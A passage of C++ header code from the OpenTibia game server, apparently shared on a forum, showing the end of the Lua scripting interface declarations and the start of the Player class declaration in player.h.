        static int32_t luaGetPlayerSkillLevel(lua_State* L);
        static int32_t luaGetPlayerSkillTries(lua_State* L);
        static int32_t luaGetPlayerVocation(lua_State* L);
        static int32_t luaGetPlayerTown(lua_State* L);
        static int32_t luaGetPlayerItemCount(lua_State* L);
        static int32_t luaGetPlayerMoney(lua_State* L);
        static int32_t luaGetPlayerSoul(lua_State* L);
        static int32_t luaGetPlayerStamina(lua_State* L);
        static int32_t luaGetPlayerFreeCap(lua_State* L);
        static int32_t luaGetPlayerLight(lua_State* L);
        static int32_t luaGetPlayerSlotItem(lua_State* L);
        static int32_t luaGetPlayerWeapon(lua_State* L);
        static int32_t luaGetPlayerItemById(lua_State* L);
        static int32_t luaGetPlayerRequiredMana(lua_State* L);
        static int32_t luaGetPlayerRequiredSkillTries(lua_State* L);
        static int32_t luaGetPlayerIp(lua_State* L);
        static int32_t luaGetPlayerLastLoad(lua_State* L);
        static int32_t luaGetPlayerLastLogin(lua_State* L);
        static int32_t luaGetPlayerAccountManager(lua_State* L);
        static int32_t luaGetPlayerAccountId(lua_State* L);
        static int32_t luaGetPlayerAccount(lua_State* L);
        static int32_t luaGetPlayerDepotItems(lua_State* L);
        static int32_t luaGetPlayerGuildId(lua_State* L);
        static int32_t luaGetPlayerGuildName(lua_State* L);
        static int32_t luaGetPlayerGuildRank(lua_State* L);
        static int32_t luaGetPlayerGuildRankId(lua_State* L);
        static int32_t luaGetPlayerGuildLevel(lua_State* L);
        static int32_t luaGetPlayerGuildNick(lua_State* L);
        static int32_t luaGetPlayerSex(lua_State* L);
        static int32_t luaGetPlayerGUID(lua_State* L);
        static int32_t luaGetPlayerFlagValue(lua_State* L);
        static int32_t luaGetPlayerCustomFlagValue(lua_State* L);
        static int32_t luaGetCreatureCondition(lua_State* L);
        static int32_t luaHasPlayerClient(lua_State* L);
        static int32_t luaGetDepotId(lua_State* L);
        static int32_t luaGetVocationInfo(lua_State* L);
        static int32_t luaGetGroupInfo(lua_State* L);
        static int32_t luaGetMonsterInfo(lua_State* L);
        static int32_t luaGetPlayerPromotionLevel(lua_State* L);
        static int32_t luaDoPlayerSetPromotionLevel(lua_State* L);
        static int32_t luaGetPlayerGroupId(lua_State* L);
        static int32_t luaDoPlayerSetGroupId(lua_State* L);
        static int32_t luaDoPlayerLearnInstantSpell(lua_State* L);
        static int32_t luaDoPlayerUnlearnInstantSpell(lua_State* L);
        static int32_t luaGetPlayerLearnedInstantSpell(lua_State* L);
        static int32_t luaGetPlayerInstantSpellCount(lua_State* L);
        static int32_t luaGetPlayerInstantSpellInfo(lua_State* L);
        static int32_t luaGetInstantSpellInfo(lua_State* L);
        static int32_t luaGetPlayerPartner(lua_State* L);
        static int32_t luaDoPlayerSetPartner(lua_State* L);
        static int32_t luaGetPlayerParty(lua_State* L);
        static int32_t luaDoPlayerJoinParty(lua_State* L);
        static int32_t luaGetPartyMembers(lua_State* L);
        static int32_t luaGetCreatureStorage(lua_State* L);
        static int32_t luaDoCreatureSetStorage(lua_State* L);
        static int32_t luaDoPlayerAddBlessing(lua_State* L);
        static int32_t luaGetPlayerBlessing(lua_State* L);
        static int32_t luaGetStorage(lua_State* L);
        static int32_t luaDoSetStorage(lua_State* L);
        static int32_t luaDoPlayerAddOutfit(lua_State* L);
        static int32_t luaDoPlayerRemoveOutfit(lua_State* L);
        static int32_t luaDoPlayerAddOutfitId(lua_State* L);
        static int32_t luaDoPlayerRemoveOutfitId(lua_State* L);
        static int32_t luaCanPlayerWearOutfit(lua_State* L);
        static int32_t luaCanPlayerWearOutfitId(lua_State* L);
        static int32_t luaGetWorldType(lua_State* L);
        static int32_t luaSetWorldType(lua_State* L);
        static int32_t luaGetWorldTime(lua_State* L);
        static int32_t luaGetWorldLight(lua_State* L);
        static int32_t luaGetWorldCreatures(lua_State* L);
        static int32_t luaGetWorldUpTime(lua_State* L);
        static int32_t luaGetGuildId(lua_State* L);
        static int32_t luaGetGuildMotd(lua_State* L);
        static int32_t luaIsPlayerPzLocked(lua_State* L);
        static int32_t luaIsPlayerSaving(lua_State* L);
        static int32_t luaIsCreature(lua_State* L);
        static int32_t luaIsContainer(lua_State* L);
        static int32_t luaIsMovable(lua_State* L);
        static int32_t luaGetContainerSize(lua_State* L);
        static int32_t luaGetContainerCap(lua_State* L);
        static int32_t luaGetContainerItem(lua_State* L);
        static int32_t luaDoAddContainerItem(lua_State* L);
        static int32_t luaCreateCombatObject(lua_State* L);
        static int32_t luaCreateCombatArea(lua_State* L);
        static int32_t luaSetCombatArea(lua_State* L);
        static int32_t luaSetCombatCondition(lua_State* L);
        static int32_t luaSetCombatParam(lua_State* L);
        static int32_t luaCreateConditionObject(lua_State* L);
        static int32_t luaSetConditionParam(lua_State* L);
        static int32_t luaAddDamageCondition(lua_State* L);
        static int32_t luaAddOutfitCondition(lua_State* L);
        static int32_t luaSetCombatCallBack(lua_State* L);
        static int32_t luaSetCombatFormula(lua_State* L);
        static int32_t luaSetConditionFormula(lua_State* L);
        static int32_t luaDoCombat(lua_State* L);
        static int32_t luaDoCombatAreaHealth(lua_State* L);
        static int32_t luaDoTargetCombatHealth(lua_State* L);
        static int32_t luaDoCombatAreaMana(lua_State* L);
        static int32_t luaDoTargetCombatMana(lua_State* L);
        static int32_t luaDoCombatAreaCondition(lua_State* L);
        static int32_t luaDoTargetCombatCondition(lua_State* L);
        static int32_t luaDoCombatAreaDispel(lua_State* L);
        static int32_t luaDoTargetCombatDispel(lua_State* L);
        static int32_t luaDoChallengeCreature(lua_State* L);
        static int32_t luaNumberToVariant(lua_State* L);
        static int32_t luaStringToVariant(lua_State* L);
        static int32_t luaPositionToVariant(lua_State* L);
        static int32_t luaTargetPositionToVariant(lua_State* L);
        static int32_t luaVariantToNumber(lua_State* L);
        static int32_t luaVariantToString(lua_State* L);
        static int32_t luaVariantToPosition(lua_State* L);
        static int32_t luaDoChangeSpeed(lua_State* L);
        static int32_t luaGetExperienceStage(lua_State* L);
        static int32_t luaDoCreatureChangeOutfit(lua_State* L);
        static int32_t luaSetCreatureOutfit(lua_State* L);
        static int32_t luaGetCreatureOutfit(lua_State* L);
        static int32_t luaSetMonsterOutfit(lua_State* L);
        static int32_t luaSetItemOutfit(lua_State* L);
        static int32_t luaGetCreatureLastPosition(lua_State* L);
        static int32_t luaGetCreatureName(lua_State* L);
        static int32_t luaGetCreatureMaster(lua_State* L);
        static int32_t luaGetCreatureSummons(lua_State* L);
        static int32_t luaGetHighscoreString(lua_State* L);
        static int32_t luaIsSightClear(lua_State* L);
        static int32_t luaIsInArray(lua_State* L);
        static int32_t luaAddEvent(lua_State* L);
        static int32_t luaStopEvent(lua_State* L);
        static int32_t luaRegisterCreatureEvent(lua_State* L);
        static int32_t luaGetPlayerBalance(lua_State* L);
        static int32_t luaDoPlayerSetBalance(lua_State* L);
        static int32_t luaDoPlayerPopupFYI(lua_State* L);
        static int32_t luaDoPlayerSendTutorial(lua_State* L);
        static int32_t luaDoPlayerSendMailByName(lua_State* L);
        static int32_t luaDoPlayerAddMapMark(lua_State* L);
        static int32_t luaGetPlayerPremiumDays(lua_State* L);
        static int32_t luaDoPlayerAddPremiumDays(lua_State* L);
        static int32_t luaGetCreatureNoMove(lua_State* L);
        static int32_t luaDoCreatureSetNoMove(lua_State* L);
        static int32_t luaGetTownId(lua_State* L);
        static int32_t luaGetTownName(lua_State* L);
        static int32_t luaGetTownTemplePosition(lua_State* L);
        static int32_t luaGetTownHouses(lua_State* L);
        static int32_t luaGetSpectators(lua_State* L);
        static int32_t luaGetGameState(lua_State* L);
        static int32_t luaDoSetGameState(lua_State* L);
        static int32_t luaGetChannelUsers(lua_State* L);
        static int32_t luaDoPlayerOpenChannel(lua_State* L);
        static int32_t luaGetPlayersOnline(lua_State* L);
        static int32_t luaDoExecuteRaid(lua_State* L);
        static int32_t luaDoReloadInfo(lua_State* L);
        static int32_t luaDoSaveServer(lua_State* L);
        static int32_t luaDoCleanHouse(lua_State* L);
        static int32_t luaDoCleanMap(lua_State* L);
        static int32_t luaDoRefreshMap(lua_State* L);
        static int32_t luaDoUpdateHouseAuctions(lua_State* L);
        static int32_t luaGetItemIdByName(lua_State* L);
        static int32_t luaGetItemInfo(lua_State* L);
        static int32_t luaGetItemWeight(lua_State* L);
        static int32_t luaGetItemAttribute(lua_State* L);
        static int32_t luaDoItemSetAttribute(lua_State* L);
        static int32_t luaDoItemEraseAttribute(lua_State* L);
        static int32_t luaGetTalkActionList(lua_State* L);
        static int32_t luaGetExperienceStageList(lua_State* L);
        static int32_t luaGetWaypointList(lua_State* L);
        static int32_t luaGetWaypointPosition(lua_State* L);
        static int32_t luaDoWaypointAddTemporial(lua_State* L);
        static int32_t luaGetDataDir(lua_State* L);
        static int32_t luaGetLogsDir(lua_State* L);
        static int32_t luaGetConfigFile(lua_State* L);
        static int32_t luaGetConfigValue(lua_State* L);
        static int32_t luaGetModList(lua_State* L);
        static int32_t luaDoSendPlayerExtendedOpcode(lua_State* L);

        static int32_t luaL_loadmodlib(lua_State* L);
        static int32_t luaL_domodlib(lua_State* L);
        static int32_t luaL_dodirectory(lua_State* L);

        static const luaL_Reg luaDatabaseTable[8];
        static int32_t luaDatabaseExecute(lua_State* L);
        static int32_t luaDatabaseStoreQuery(lua_State* L);
        static int32_t luaDatabaseEscapeString(lua_State* L);
        static int32_t luaDatabaseEscapeBlob(lua_State* L);
        static int32_t luaDatabaseLastInsertId(lua_State* L);
        static int32_t luaDatabaseStringComparison(lua_State* L);
        static int32_t luaDatabaseUpdateLimiter(lua_State* L);

        static const luaL_Reg luaResultTable[7];
        static int32_t luaResultGetDataInt(lua_State* L);
        static int32_t luaResultGetDataLong(lua_State* L);
        static int32_t luaResultGetDataString(lua_State* L);
        static int32_t luaResultGetDataStream(lua_State* L);
        static int32_t luaResultNext(lua_State* L);
        static int32_t luaResultFree(lua_State* L);

        static const luaL_Reg luaBitTable[13];
        static int32_t luaBitNot(lua_State* L);
        static int32_t luaBitAnd(lua_State* L);
        static int32_t luaBitOr(lua_State* L);
        static int32_t luaBitXor(lua_State* L);
        static int32_t luaBitLeftShift(lua_State* L);
        static int32_t luaBitRightShift(lua_State* L);
        static int32_t luaBitUNot(lua_State* L);
        static int32_t luaBitUAnd(lua_State* L);
        static int32_t luaBitUOr(lua_State* L);
        static int32_t luaBitUXor(lua_State* L);
        static int32_t luaBitULeftShift(lua_State* L);
        static int32_t luaBitURightShift(lua_State* L);

        static const luaL_Reg luaStdTable[6];
        static int32_t luaStdCout(lua_State* L);
        static int32_t luaStdCerr(lua_State* L);
        static int32_t luaStdClog(lua_State* L);
        static int32_t luaStdMD5(lua_State* L);
        static int32_t luaStdSHA1(lua_State* L);

        lua_State* m_luaState;
        std::string m_lastError;

    private:
        void executeTimer(uint32_t eventIndex);

        enum PlayerInfo_t
        {
            PlayerInfoFood,
            PlayerInfoAccess,
            PlayerInfoGhostAccess,
            PlayerInfoLevel,
            PlayerInfoExperience,
            PlayerInfoManaSpent,
            PlayerInfoVocation,
            PlayerInfoTown,
            PlayerInfoPromotionLevel,
            PlayerInfoSoul,
            PlayerInfoFreeCap,
            PlayerInfoGuildId,
            PlayerInfoGuildName,
            PlayerInfoGuildRankId,
            PlayerInfoGuildRank,
            PlayerInfoGuildLevel,
            PlayerInfoGuildNick,
            PlayerInfoGroupId,
            PlayerInfoGUID,
            PlayerInfoAccountId,
            PlayerInfoAccount,
            PlayerInfoPremiumDays,
            PlayerInfoBalance,
            PlayerInfoStamina,
            PlayerInfoLossSkill,
            PlayerInfoMarriage,
            PlayerInfoPzLock,
            PlayerInfoSaving,
            PlayerInfoIp,
            PlayerInfoSkullEnd,
            PlayerInfoOutfitWindow,
            PlayerInfoNameDescription,
            PlayerInfoSpecialDescription,
            PlayerInfoIdleTime,
            PlayerInfoClient,
            PlayerInfoLastLoad,
            PlayerInfoLastLogin,
            PlayerInfoAccountManager
        };
        static int32_t internalGetPlayerInfo(lua_State* L, PlayerInfo_t info);

        int32_t m_runningEventId;
        uint32_t m_lastEventTimerId;
        std::string m_loadingFile, m_interfaceName;

        static ScriptEnviroment m_scriptEnv[21];
        static int32_t m_scriptEnvIndex;

        //events information
        struct LuaTimerEvent
        {
            int32_t scriptId, function;
            std::list<int32_t> parameters;
        };

        typedef std::map<uint32_t , LuaTimerEvent > LuaTimerEvents;
        LuaTimerEvents m_timerEvents;

        //script file cache
        typedef std::map<int32_t , std::string> ScriptsCache;
        ScriptsCache m_cacheFiles;
};
#endif
 

player.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __PLAYER__
#define __PLAYER__

#include "otsystem.h"
#include "enums.h"

#include "creature.h"
#include "cylinder.h"

#include "container.h"
#include "depot.h"

#include "outfit.h"
#include "vocation.h"
#include "group.h"

#include "protocolgame.h"
#include "ioguild.h"
#include "party.h"
#include "npc.h"

class House;
class NetworkMessage;
class Weapon;
class ProtocolGame;
class Npc;
class Party;
class SchedulerTask;
class Quest;

enum skillsid_t
{
    SKILL_LEVEL = 0,
    SKILL_TRIES = 1,
    SKILL_PERCENT = 2
};

enum playerinfo_t
{
    PLAYERINFO_LEVEL,
    PLAYERINFO_LEVELPERCENT,
    PLAYERINFO_HEALTH,
    PLAYERINFO_MAXHEALTH,
    PLAYERINFO_MANA,
    PLAYERINFO_MAXMANA,
    PLAYERINFO_MAGICLEVEL,
    PLAYERINFO_MAGICLEVELPERCENT,
    PLAYERINFO_SOUL,
};

enum freeslot_t
{
    SLOT_TYPE_NONE,
    SLOT_TYPE_INVENTORY,
    SLOT_TYPE_CONTAINER
};

enum chaseMode_t
{
    CHASEMODE_STANDSTILL,
    CHASEMODE_FOLLOW,
};

enum fightMode_t
{
    FIGHTMODE_ATTACK,
    FIGHTMODE_BALANCED,
    FIGHTMODE_DEFENSE
};

enum secureMode_t
{
    SECUREMODE_ON,
    SECUREMODE_OFF
};

enum tradestate_t
{
    TRADE_NONE,
    TRADE_INITIATED,
    TRADE_ACCEPT,
    TRADE_ACKNOWLEDGE,
    TRADE_TRANSFER
};

enum AccountManager_t
{
    MANAGER_NONE,
    MANAGER_NEW,
    MANAGER_ACCOUNT,
    MANAGER_NAMELOCK
};

enum GamemasterCondition_t
{
    GAMEMASTER_INVISIBLE = 0,
    GAMEMASTER_IGNORE = 1,
    GAMEMASTER_TELEPORT = 2
};

enum Exhaust_t
{
    EXHAUST_COMBAT = 1,
    EXHAUST_HEALING = 2
};

typedef std::set<uint32_t> VIPListSet;
typedef std::vector<std::pair<uint32_t, Container*> > ContainerVector;
typedef std::map<uint32_t, std::pair<Depot*, bool> > DepotMap;
typedef std::map<uint32_t, uint32_t> MuteCountMap;
typedef std::list<std::string> LearnedInstantSpellList;
typedef std::list<uint32_t> InvitedToGuildsList;
typedef std::list<Party*> PartyList;

#define SPEED_MAX 1500
#define SPEED_MIN 10
#define STAMINA_MAX (42 * 60 * 60 * 1000)
#define STAMINA_MULTIPLIER (60 * 1000)

class Player : public Creature, public Cylinder
{
    public:
#ifdef __ENABLE_SERVER_DIAGNOSTIC__
        static uint32_t playerCount;
#endif
        Player(const std::string& name, ProtocolGame* p);
        virtual ~Player();

        virtual Player* getPlayer() {return this;}
        virtual const Player* getPlayer() const {return this;}

        static MuteCountMap muteCountMap;

        virtual const std::string& getName() const {return name;}
        virtual const std::string& getNameDescription() const {return nameDescription;}
        virtual std::string getDescription(int32_t lookDistance) const;

        const std::string& getSpecialDescription() const {return specialDescription;}
        void setSpecialDescription(const std::string& desc) {specialDescription = desc;}

        void manageAccount(const std::string& text);
        bool isAccountManager() const {return (accountManager != MANAGER_NONE);}
        void kickPlayer(bool displayEffect, bool forceLogout);

        void setGUID(uint32_t _guid) {guid = _guid;}
        uint32_t getGUID() const {return guid;}

        static AutoList<Player> autoList;
        virtual uint32_t rangeId() {return 0x10000000;}

        void addList();
        void removeList();

        static uint64_t getExpForLevel(uint32_t lv)
        {
            lv--;
            return ((50ULL * lv * lv * lv) - (150ULL * lv * lv) + (400ULL * lv)) / 3ULL;
        }

        uint32_t getPromotionLevel() const {return promotionLevel;}
        void setPromotionLevel(uint32_t pLevel);

        bool changeOutfit(Outfit_t outfit, bool checkList);
        void hasRequestedOutfit(bool v) {requestedOutfit = v;}

        Vocation* getVocation() const {return vocation;}
        int32_t getPlayerInfo(playerinfo_t playerinfo) const;

        void setParty(Party* _party) {party = _party;}
        Party* getParty() const {return party;}
        PartyShields_t getPartyShield(const Creature* creature) const;
        bool isInviting(const Player* player) const;
        bool isPartner(const Player* player) const;
        void sendPlayerPartyIcons(Player* player);
        bool addPartyInvitation(Party* party);
        bool removePartyInvitation(Party* party);
        void clearPartyInvitations();

        uint32_t getGuildId() const {return guildId;}
        void setGuildId(uint32_t newId) {guildId = newId;}
        uint32_t getRankId() const {return rankId;}
        void setRankId(uint32_t newId) {rankId = newId;}

        GuildLevel_t getGuildLevel() const {return guildLevel;}
        bool setGuildLevel(GuildLevel_t newLevel, uint32_t rank = 0);

        const std::string& getGuildName() const {return guildName;}
        void setGuildName(const std::string& newName) {guildName = newName;}
        const std::string& getRankName() const {return rankName;}
        void setRankName(const std::string& newName) {rankName = newName;}

        const std::string& getGuildNick() const {return guildNick;}
        void setGuildNick(const std::string& newNick) {guildNick = newNick;}

        bool isGuildInvited(uint32_t guildId) const;
        void leaveGuild();

        void setFlags(uint64_t flags) {if(group) group->setFlags(flags);}
        bool hasFlag(PlayerFlags value) const {return group != NULL && group->hasFlag(value);}
        void setCustomFlags(uint64_t flags) {if(group) group->setCustomFlags(flags);}
        bool hasCustomFlag(PlayerCustomFlags value) const {return group != NULL && group->hasCustomFlag(value);}

        void addBlessing(int16_t blessing) {blessings += blessing;}
        bool hasBlessing(int16_t value) const {return (blessings & ((int16_t)1 << value));}
        uint16_t getBlessings() const;

        OperatingSystem_t getOperatingSystem() const {return operatingSystem;}
        void setOperatingSystem(OperatingSystem_t clientOs) {operatingSystem = clientOs;}
        uint32_t getClientVersion() const {return clientVersion;}
        void setClientVersion(uint32_t version) {clientVersion = version;}

        bool hasClient() const {return client;}
        bool isVirtual() const {return (getID() == 0);}
        void disconnect() {if(client) client->disconnect();}
        uint32_t getIP() const;
        bool canOpenCorpse(uint32_t ownerId);

        Container* getContainer(uint32_t cid);
        int32_t getContainerID(const Container* container) const;

        void addContainer(uint32_t cid, Container* container);
        void closeContainer(uint32_t cid);

        virtual bool setStorage(const uint32_t key, const std::string& value);
        virtual void eraseStorage(const uint32_t key);

        void generateReservedStorage();
        bool transferMoneyTo(const std::string& name, uint64_t amount);
        void increaseCombatValues(int32_t& min, int32_t& max, bool useCharges, bool countWeapon);

        void setGroupId(int32_t newId);
        int32_t getGroupId() const {return groupId;}
        void setGroup(Group* newGroup);
        Group* getGroup() const {return group;}

        virtual bool isGhost() const {return hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_INVISIBLE) || hasFlag(PlayerFlag_CannotBeSeen);}

        void switchSaving() {saving = !saving;}
        bool isSaving() const {return saving;}

        uint32_t getIdleTime() const {return idleTime;}
        void setIdleTime(uint32_t amount) {idleTime = amount;}

        bool checkLoginDelay(uint32_t playerId) const;
        bool isTrading() const {return tradePartner;}

        uint32_t getAccount() const {return accountId;}
        std::string getAccountName() const {return account;}
        uint16_t getAccess() const {return group ? group->getAccess() : 0;}
        uint16_t getGhostAccess() const {return group ? group->getGhostAccess() : 0;}

        bool isPremium() const;
        int32_t getPremiumDays() const {return premiumDays;}

        uint32_t getLevel() const {return level;}
        uint64_t getExperience() const {return experience;}
        uint32_t getMagicLevel() const {return getPlayerInfo(PLAYERINFO_MAGICLEVEL);}
        uint64_t getSpentMana() const {return manaSpent;}

        uint32_t getVocationId() const {return vocation_id;}
        void setVocation(uint32_t vocId);
        uint16_t getSex(bool full) const {return full ? sex : sex % 2;}
        void setSex(uint16_t);

        uint64_t getStamina() const {return hasFlag(PlayerFlag_HasInfiniteStamina) ? STAMINA_MAX : stamina;}
        void setStamina(uint64_t value) {stamina = std::min((uint64_t)STAMINA_MAX, (uint64_t)std::max((uint64_t)0, value));}
        uint32_t getStaminaMinutes() const {return (uint32_t)(getStamina() / (uint64_t)STAMINA_MULTIPLIER);}
        void setStaminaMinutes(uint32_t value) {setStamina((uint64_t)(value * STAMINA_MULTIPLIER));}
        void useStamina(int64_t value) {stamina = std::min((int64_t)STAMINA_MAX, (int64_t)std::max((int64_t)0, ((int64_t)stamina + value)));}
        uint64_t getSpentStamina() {return (uint64_t)STAMINA_MAX - stamina;}

        int64_t getLastLoad() const {return lastLoad;}
        time_t getLastLogin() const {return lastLogin;}
        time_t getLastLogout() const {return lastLogout;}

        Position getLoginPosition() const {return loginPosition;}

        uint32_t getTown() const {return town;}
        void setTown(uint32_t _town) {town = _town;}

        virtual bool isPushable() const;
        virtual int32_t getThrowRange() const {return 1;}

        bool isMuted(uint16_t channelId, SpeakClasses type, uint32_t& time);
        void addMessageBuffer();
        void removeMessageBuffer();

        double getCapacity() const {return capacity;}
        void setCapacity(double newCapacity) {capacity = newCapacity;}

        double getFreeCapacity() const
        {
            if(hasFlag(PlayerFlag_CannotPickupItem))
                return 0.00;
            else if(hasFlag(PlayerFlag_HasInfiniteCapacity))
                return 10000.00;

            return std::max(0.00, capacity - inventoryWeight);
        }

        virtual int32_t getSoul() const {return getPlayerInfo(PLAYERINFO_SOUL);}
        virtual int32_t getMaxHealth() const {return getPlayerInfo(PLAYERINFO_MAXHEALTH);}
        virtual int32_t getMaxMana() const {return getPlayerInfo(PLAYERINFO_MAXMANA);}
        int32_t getSoulMax() const {return soulMax;}

        Item* getInventoryItem(slots_t slot) const;
        Item* getEquippedItem(slots_t slot) const;

        bool isItemAbilityEnabled(slots_t slot) const {return inventoryAbilities[slot];}
        void setItemAbility(slots_t slot, bool enabled) {inventoryAbilities[slot] = enabled;}

        int32_t getVarSkill(skills_t skill) const {return varSkills[skill];}
        void setVarSkill(skills_t skill, int32_t modifier) {varSkills[skill] += modifier;}

        int32_t getVarStats(stats_t stat) const {return varStats[stat];}
        void setVarStats(stats_t stat, int32_t modifier);
        int32_t getDefaultStats(stats_t stat);

        void setConditionSuppressions(uint32_t conditions, bool remove);

        uint32_t getLossPercent(lossTypes_t lossType) const {return lossPercent[lossType];}
        void setLossPercent(lossTypes_t lossType, uint32_t newPercent) {lossPercent[lossType] = newPercent;}

        Depot* getDepot(uint32_t depotId, bool autoCreateDepot);
        bool addDepot(Depot* depot, uint32_t depotId);
        void useDepot(uint32_t depotId, bool value);

        virtual bool canSee(const Position& pos) const;
        virtual bool canSeeCreature(const Creature* creature) const;
        virtual bool canWalkthrough(const Creature* creature) const;

        virtual bool canSeeInvisibility() const {return hasFlag(PlayerFlag_CanSenseInvisibility);}

        virtual RaceType_t getRace() const {return RACE_BLOOD;}

        //safe-trade functions
        void setTradeState(tradestate_t state) {tradeState = state;}
        tradestate_t getTradeState() {return tradeState;}
        Item* getTradeItem() {return tradeItem;}

        //shop functions
        void setShopOwner(Npc* owner, int32_t onBuy, int32_t onSell, ShopInfoList offer)
        {
            shopOwner = owner;
            purchaseCallback = onBuy;
            saleCallback = onSell;
            shopOffer = offer;
        }

        Npc* getShopOwner(int32_t& onBuy, int32_t& onSell)
        {
            onBuy = purchaseCallback;
            onSell = saleCallback;
            return shopOwner;
        }

        const Npc* getShopOwner(int32_t& onBuy, int32_t& onSell) const
        {
            onBuy = purchaseCallback;
            onSell = saleCallback;
            return shopOwner;
        }

        //V.I.P. functions
        void notifyLogIn(Player* loginPlayer);
        void notifyLogOut(Player* logoutPlayer);
        bool removeVIP(uint32_t guid);
        bool addVIP(uint32_t guid, std::string& name, bool isOnline, bool internal = false);

        //follow functions
        virtual bool setFollowCreature(Creature* creature, bool fullPathSearch = false);

        //follow events
        virtual void onFollowCreature(const Creature* creature);

        //walk events
        virtual void onWalk(Direction& dir);
        virtual void onWalkAborted();
        virtual void onWalkComplete();

        void stopWalk();
        void openShopWindow();
        void closeShopWindow(Npc* npc = NULL, int32_t onBuy = -1, int32_t onSell = -1);
        bool canShopItem(uint16_t itemId, uint8_t subType, ShopEvent_t event);

        void setChaseMode(chaseMode_t mode);
        void setFightMode(fightMode_t mode) {fightMode = mode;}
        void setSecureMode(secureMode_t mode) {secureMode = mode;}
        secureMode_t getSecureMode() const {return secureMode;}

        //combat functions
        virtual bool setAttackedCreature(Creature* creature);
        bool isImmune(CombatType_t type) const;
        bool isImmune(ConditionType_t type) const;
        bool hasShield() const;
        virtual bool isAttackable() const;

        virtual void changeHealth(int32_t healthChange);
        virtual void changeMana(int32_t manaChange);
        void changeSoul(int32_t soulChange);

        bool isPzLocked() const {return pzLocked;}
        void setPzLocked(bool v) {pzLocked = v;}
        virtual BlockType_t blockHit(Creature* attacker, CombatType_t combatType, int32_t& damage,
            bool checkDefense = false, bool checkArmor = false);
        virtual void doAttacking(uint32_t interval);
        virtual bool hasExtraSwing() {return lastAttack > 0 && ((OTSYS_TIME() - lastAttack) >= getAttackSpeed());}
        int32_t getShootRange() const {return shootRange;}

        int32_t getSkill(skills_t skilltype, skillsid_t skillinfo) const;
        bool getAddAttackSkill() const {return addAttackSkillPoint;}
        BlockType_t getLastAttackBlockType() const {return lastAttackBlockType;}

        Item* getWeapon(bool ignoreAmmo = false);
        virtual WeaponType_t getWeaponType();
        int32_t getWeaponSkill(const Item* item) const;
        void getShieldAndWeapon(const Item* &shield, const Item* &weapon) const;

        virtual void drainHealth(Creature* attacker, CombatType_t combatType, int32_t damage);
        virtual void drainMana(Creature* attacker, CombatType_t combatType, int32_t damage);

        void addExperience(uint64_t exp);
        void removeExperience(uint64_t exp, bool updateStats = true);
        void addManaSpent(uint64_t amount, bool useMultiplier = true);
        void addSkillAdvance(skills_t skill, uint32_t count, bool useMultiplier = true);
        bool addUnjustifiedKill(const Player* attacked);

        virtual int32_t getArmor() const;
        virtual int32_t getDefense() const;
        virtual float getAttackFactor() const;
        virtual float getDefenseFactor() const;

        void addExhaust(uint32_t ticks, Exhaust_t type);
        void addInFightTicks(bool pzLock = false);
        void addDefaultRegeneration(uint32_t addTicks);

        virtual double getGainedExperience(Creature* attacker) const;

        //combat event functions
        virtual void onAddCondition(ConditionType_t type, bool hadCondition);
        virtual void onAddCombatCondition(ConditionType_t type, bool hadCondition);
        virtual void onEndCondition(ConditionType_t type);
        virtual void onCombatRemoveCondition(const Creature* attacker, Condition* condition);
        virtual void onTickCondition(ConditionType_t type, int32_t interval, bool& _remove);
        virtual void onAttackedCreature(Creature* target);
        virtual void onSummonAttackedCreature(Creature* summon, Creature* target);
        virtual void onAttacked();
        virtual void onAttackedCreatureDrain(Creature* target, int32_t points);
        virtual void onSummonAttackedCreatureDrain(Creature* summon, Creature* target, int32_t points);
        virtual void onTargetCreatureGainHealth(Creature* target, int32_t points);
        virtual bool onKilledCreature(Creature* target, uint32_t& flags);
        virtual void onGainExperience(double& gainExp, bool fromMonster, bool multiplied);
        virtual void onGainSharedExperience(double& gainExp, bool fromMonster, bool multiplied);
        virtual void onAttackedCreatureBlockHit(Creature* target, BlockType_t blockType);
        virtual void onBlockHit(BlockType_t blockType);
        virtual void onChangeZone(ZoneType_t zone);
        virtual void onAttackedCreatureChangeZone(ZoneType_t zone);
        virtual void onIdleStatus();
        virtual void onPlacedCreature();

        virtual void getCreatureLight(LightInfo& light) const;
        Skulls_t getSkull() const;
        Skulls_t getSkullClient(const Creature* creature) const;

        bool hasAttacked(const Player* attacked) const;
        void addAttacked(const Player* attacked);
        void clearAttacked() {attackedSet.clear();}

        time_t getSkullEnd() const {return skullEnd;}
        void setSkullEnd(time_t _time, bool login, Skulls_t _skull);

        bool addOutfit(uint32_t outfitId, uint32_t addons);
        bool removeOutfit(uint32_t outfitId, uint32_t addons);

        bool canWearOutfit(uint32_t outfitId, uint32_t addons);
        bool canLogout(bool checkInfight);

        //tile
        //send methods
        void sendAddTileItem(const Tile* tile, const Position& pos, const Item* item)
            {if(client) client->sendAddTileItem(tile, pos, tile->getClientIndexOfThing(this, item), item);}
        void sendUpdateTileItem(const Tile* tile, const Position& pos, const Item* oldItem, const Item* newItem)
            {if(client) client->sendUpdateTileItem(tile, pos, tile->getClientIndexOfThing(this, oldItem), newItem);}
        void sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item)
            {if(client) client->sendRemoveTileItem(tile, pos, stackpos);}
        void sendUpdateTile(const Tile* tile, const Position& pos)
            {if(client) client->sendUpdateTile(tile, pos);}

        void sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel)
            {if(client) client->sendChannelMessage(author, text, type, channel);}
        void sendCreatureAppear(const Creature* creature)
            {if(client) client->sendAddCreature(creature, creature->getPosition(), creature->getTile()->getClientIndexOfThing(
                this, creature));}
        void sendCreatureDisappear(const Creature* creature, uint32_t stackpos)
            {if(client) client->sendRemoveCreature(creature, creature->getPosition(), stackpos);}
        void sendCreatureMove(const Creature* creature, const Tile* newTile, const Position& newPos,
            const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport)
            {if(client) client->sendMoveCreature(creature, newTile, newPos, newTile->getClientIndexOfThing(
                this, creature), oldTile, oldPos, oldStackpos, teleport);}

